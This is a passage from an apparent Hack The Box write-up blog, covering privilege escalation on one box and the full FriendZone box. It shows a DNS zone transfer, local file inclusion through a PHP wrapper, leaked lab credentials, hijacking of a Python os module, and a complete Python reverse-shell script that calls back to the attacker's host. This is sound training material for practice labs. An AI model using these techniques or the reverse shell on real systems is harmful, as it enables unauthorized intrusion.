effect.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0138.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;LinEnum.sh found nothing, so I will not include an image.&lt;/p&gt;&#10;&lt;p&gt;pspy32 did not reveal anything interesting either.&lt;/p&gt;&#10;&lt;p&gt;An interesting conventional privilege-escalation route: su could not be used and sudo did not exist. Based on su&amp;rsquo;s message, we needed to log in through a terminal. My rough idea was to write a private key and see whether that worked.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0139.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;The configuration was fine, and the file was writable.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0140.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Generate a public/private key pair.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0141.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Rename the public key and upload it to the server. The name must be the default, authorized_keys.&lt;/p&gt;&#10;&lt;p&gt;The connection failed, so I debugged it.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0142.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;It was a version issue. Generate the key pair again.&lt;/p&gt;&#10;&lt;p&gt;ssh-keygen -t rsa -t ed25519 -f ./new_temp&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0143.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Successfully connected.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0144.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Good. Now I still needed a password.&lt;/p&gt;&#10;&lt;p&gt;Eventually I found this.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0145.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;user.txt was inaccessible, and its target was also user.txt in the parent directory.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0146.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Based on the steg hint, I had tried using this to access the large image at the very beginning, but it did not work. Let&amp;rsquo;s try again.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0147.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;There was no password and nothing came out, so I ignored it.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0148.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0149.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Found the password.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0150.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;LinEnum.sh found a service I had never seen before, and it had the s permission.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0151.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0152.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0153.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Forging the file worked, giving root privileges.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0154.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;That completed it. None of the tool-related parts were difficult because I already knew how to use them. I still need to improve my thought process. On machines like this, every piece of information has to be collected, but sometimes collecting too much makes everything look suspicious. I need to be more careful.&lt;/p&gt;&#10;&lt;h2 id="9friendzone"&gt;&lt;a href="#9friendzone" class="header-anchor"&gt;&lt;/a&gt;9.FriendZone&#10;&lt;/h2&gt;&lt;p&gt;Information gathering:&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt; 1&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 2&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 3&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 4&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 5&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 6&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 7&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 8&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 9&#10;&lt;/span&gt;&lt;span class="lnt"&gt;10&#10;&lt;/span&gt;&lt;span class="lnt"&gt;11&#10;&lt;/span&gt;&lt;span class="lnt"&gt;12&#10;&lt;/span&gt;&lt;span class="lnt"&gt;13&#10;&lt;/span&gt;&lt;span class="lnt"&gt;14&#10;&lt;/span&gt;&lt;span class="lnt"&gt;15&#10;&lt;/span&gt;&lt;span class="lnt"&gt;16&#10;&lt;/span&gt;&lt;span class="lnt"&gt;17&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;PORT STATE SERVICE&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;21/tcp open ftp&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;22/tcp open ssh&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;53/tcp open domain&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;80/tcp open http&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;|_http-csrf: Couldn&amp;#39;t find any CSRF vulnerabilities.&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;| http-enum:&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;| /wordpress/: Blog&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;|_ /robots.txt: Robots file&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;|_http-stored-xss: Couldn&amp;#39;t find any stored XSS vulnerabilities.&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;|_http-dombased-xss: Couldn&amp;#39;t find any DOM based XSS.&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;139/tcp open netbios-ssn&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;443/tcp open https&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;|_http-csrf: Couldn&amp;#39;t find any CSRF vulnerabilities.&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;|_http-dombased-xss: Couldn&amp;#39;t find any DOM based XSS.&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;|_http-stored-xss: Couldn&amp;#39;t find any stored XSS vulnerabilities.&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;445/tcp open microsoft-ds&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;I finished testing everything. Here are the conclusions.&lt;/p&gt;&#10;&lt;p&gt;21 did not allow anonymous login and offered no entry point.&lt;/p&gt;&#10;&lt;p&gt;22 offered no entry point.&lt;/p&gt;&#10;&lt;p&gt;53 was a dns server. I could test domain names and similar things later. On machines like those in oscp, every service has a purpose.&lt;/p&gt;&#10;&lt;p&gt;80 contained an empty wordpress site and revealed one domain: friendzoneportal.red&lt;/p&gt;&#10;&lt;p&gt;139/445 exposed a samba service. Try connecting to it.&lt;/p&gt;&#10;&lt;p&gt;443 exposed an https service, but there was nothing there.&lt;/p&gt;&#10;&lt;p&gt;samba contained an unauthenticated shared file with the following contents.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;span class="lnt"&gt;3&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;creds for the admin THING:&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;admin:WORKWORKHhallelujah@#&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;This password did not work for ssh, ftp, or samba.&lt;/p&gt;&#10;&lt;p&gt;I had just collected a domain name. With the suffix now known, add it to hosts.&lt;/p&gt;&#10;&lt;p&gt;friendzoneportal.red&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0155.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;There was nothing there. The dns server could help us look it up, so send a request directly.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt; 1&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 2&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 3&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 4&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 5&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 6&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 7&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 8&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 9&#10;&lt;/span&gt;&lt;span class="lnt"&gt;10&#10;&lt;/span&gt;&lt;span class="lnt"&gt;11&#10;&lt;/span&gt;&lt;span class="lnt"&gt;12&#10;&lt;/span&gt;&lt;span class="lnt"&gt;13&#10;&lt;/span&gt;&lt;span class="lnt"&gt;14&#10;&lt;/span&gt;&lt;span class="lnt"&gt;15&#10;&lt;/span&gt;&lt;span class="lnt"&gt;16&#10;&lt;/span&gt;&lt;span class="lnt"&gt;17&#10;&lt;/span&gt;&lt;span class="lnt"&gt;18&#10;&lt;/span&gt;&lt;span class="lnt"&gt;19&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;dig @10.10.10.123 friendzoneportal.red AXFR&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;This command returns records for the entire DNS zone, including A, AAAA, CNAME, and MX records, plus subdomain information.&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;; &amp;lt;&amp;lt;&amp;gt;&amp;gt; DiG 9.18.12-1-Debian &amp;lt;&amp;lt;&amp;gt;&amp;gt; @10.10.10.123 friendzoneportal.red AXFR&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;; (1 server found)&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;;; global options: +cmd&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;friendzoneportal.red. 604800 IN SOA localhost. root.localhost. 2 604800 86400 2419200 604800&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;friendzoneportal.red. 604800 IN AAAA ::1&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;friendzoneportal.red. 604800 IN NS localhost.&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;friendzoneportal.red. 604800 IN A 127.0.0.1&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;admin.friendzoneportal.red. 604800 IN A 127.0.0.1&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;files.friendzoneportal.red. 604800 IN A 127.0.0.1&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;imports.friendzoneportal.red. 604800 IN A 127.0.0.1&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;vpn.friendzoneportal.red. 604800 IN A 127.0.0.1&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;friendzoneportal.red. 604800 IN SOA localhost. root.localhost. 2 604800 86400 2419200 604800&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;;; Query time: 660 msec&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;;; SERVER: 10.10.10.123#53(10.10.10.123) (TCP)&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;;; WHEN: Mon Sep 30 08:07:05 EDT 2024&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;;; XFR size: 9 records (messages 1, bytes 309)&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;admin.friendzoneportal.red allowed a login.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0156.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Going back to look at the title, friendzone.red revealed something else.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0157.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;administrator1.friendzone.red accepted the login, and there was some content inside.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0158.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Looking into it later, this was actually a local php file, which is why it could be called. This was an obvious lfi.&lt;/p&gt;&#10;&lt;p&gt;Start testing.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0159.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Since adding a name made it accessible, the application was probably appending .php. I could not access /etc/passwd or anything else, so use a php wrapper to view the source.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0160.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;It did indeed append .php.&lt;/p&gt;&#10;&lt;p&gt;I also read the other files, but they contained nothing useful. All that was missing now was a way to write a file, although if I could write a php file, this point would seemingly be unnecessary.&lt;/p&gt;&#10;&lt;p&gt;I checked uploads.friendzone.red. It always reported a successful upload, but nothing appeared.&lt;/p&gt;&#10;&lt;p&gt;I read the code directly.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0161.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0162.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;No wonder.&lt;/p&gt;&#10;&lt;p&gt;Having reached this point, there should not have been any real problem. All I lacked was permission to write a file. I suddenly remembered that ftp could write files, and more importantly, samba had a writable directory.&lt;/p&gt;&#10;&lt;p&gt;I had no credentials for ftp, so that was not an option, but samba would work.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0163.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0164.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;The upload succeeded. Based on the image below, I guessed that it was probably under /etc.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0165.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;a class="link" href="https://administrator1.friendzone.red/dashboard.php?image_id=a.jpg&amp;amp;pagename=/etc/Development/1" target="_blank" rel="noopener"&#10; &gt;https://administrator1.friendzone.red/dashboard.php?image_id=a.jpg&amp;amp;pagename=/etc/Development/1&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0166.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Finally got a foothold.&lt;/p&gt;&#10;&lt;p&gt;Gather more information:&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;span class="lnt"&gt;3&#10;&lt;/span&gt;&lt;span class="lnt"&gt;4&#10;&lt;/span&gt;&lt;span class="lnt"&gt;5&#10;&lt;/span&gt;&lt;span class="lnt"&gt;6&#10;&lt;/span&gt;&lt;span class="lnt"&gt;7&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;for development process this is the mysql creds for user friend&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;db_user=friend&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;db_pass=Agpyu12!0.213$&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;db_name=FZ&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;At the start of this step I had not yet uploaded and run a script, but I found friend&amp;rsquo;s mysql password.&lt;/p&gt;&#10;&lt;p&gt;I also found a user named friend under home.&lt;/p&gt;&#10;&lt;p&gt;su did not work directly. Create a tty, and then su can switch to friend.&lt;/p&gt;&#10;&lt;p&gt;python -c &amp;lsquo;import pty; pty.spawn(&amp;quot;/bin/bash&amp;quot;)&amp;rsquo;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0167.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;sudo -l was unavailable. Just connect directly with ssh.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0168.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;All right, I misread it. It meant that friend was banned from using sudo.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0169.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;I thought conventional privilege escalation would finish this. Just upload a script and run a scan.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;span class="lnt"&gt;3&#10;&lt;/span&gt;&lt;span class="lnt"&gt;4&#10;&lt;/span&gt;&lt;span class="lnt"&gt;5&#10;&lt;/span&gt;&lt;span class="lnt"&gt;6&#10;&lt;/span&gt;&lt;span class="lnt"&gt;7&#10;&lt;/span&gt;&lt;span class="lnt"&gt;8&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;root 596 0.0 0.3 28676 2964 ? Ss 09:12 0:00 /usr/sbin/vsftpd /etc/vsftpd.conf&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;-rwxr-xr-x 1 root root 1232 Apr 19 2018 console-setup.sh&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;-rwxr-xr-x 1 root root 3809 Feb 15 2018 hwclock.sh&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;-rwxr-xr-x 1 root root 1479 Feb 16 2018 keyboard-setup.sh&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;-rw-r--r-- 1 root root 685 Jan 28 2018 resolv.conf&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;-rw-r--r-- 1 root root 42 Jun 27 2018 apache2-systemd.conf&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;-rwxr-xr-x 1 root root 92 Feb 22 2018 hdparm&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;-rw-rw---- 1 friend mail 1 Jan 15 2019 friend&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;There really was nothing useful. Let&amp;rsquo;s check the processes. Several privilege-escalation routes I had found so far involved scheduled tasks that I could not see, but they would be visible in the process list.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0170.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;There really was a scheduled task.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0171.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Everything was commented out, but it mentioned an SMTP service for sending email.&lt;/p&gt;&#10;&lt;p&gt;I also saw user set to you and pass set to PAPAP.&lt;/p&gt;&#10;&lt;p&gt;After finishing collection, I continued searching and found something very interesting.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0172.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;This basically confirmed it. Importing os.py would trigger the main function inside os. I had encountered this many times while coding before; just add something to it. Under the hood, os.py calls posixmodule.c, and that file has no system function. Just find a python reverse-shell script. Putting it in the main function will naturally cause it to be called.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0173.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Everything I found imported os, so I just needed one that did not use os.&lt;/p&gt;&#10;&lt;p&gt;Finding a script took a long time, but I eventually found one.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;span class="lnt"&gt;3&#10;&lt;/span&gt;&lt;span class="lnt"&gt;4&#10;&lt;/span&gt;&lt;span class="lnt"&gt;5&#10;&lt;/span&gt;&lt;span class="lnt"&gt;6&#10;&lt;/span&gt;&lt;span class="lnt"&gt;7&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;import socket&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;import subprocess&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;import pty&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;s.connect((&amp;#34;10.10.16.13&amp;#34;, 6666))&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;s_dup = s.fileno()&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;subprocess.call([&amp;#34;/bin/sh&amp;#34;], stdin=s_dup, stdout=s_dup, stderr=s_dup)&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;The reverse shell connected successfully.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0174.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;That finally completed it. I learned a lot about the thought process here as well. Just keep practicing.&lt;/p&gt;&#10;&lt;h2 id="10swagshop"&gt;&lt;a href="#10swagshop" class="header-anchor"&gt;&lt;/a&gt;10.SwagShop&#10;&lt;/h2&gt;&lt;p&gt;Information 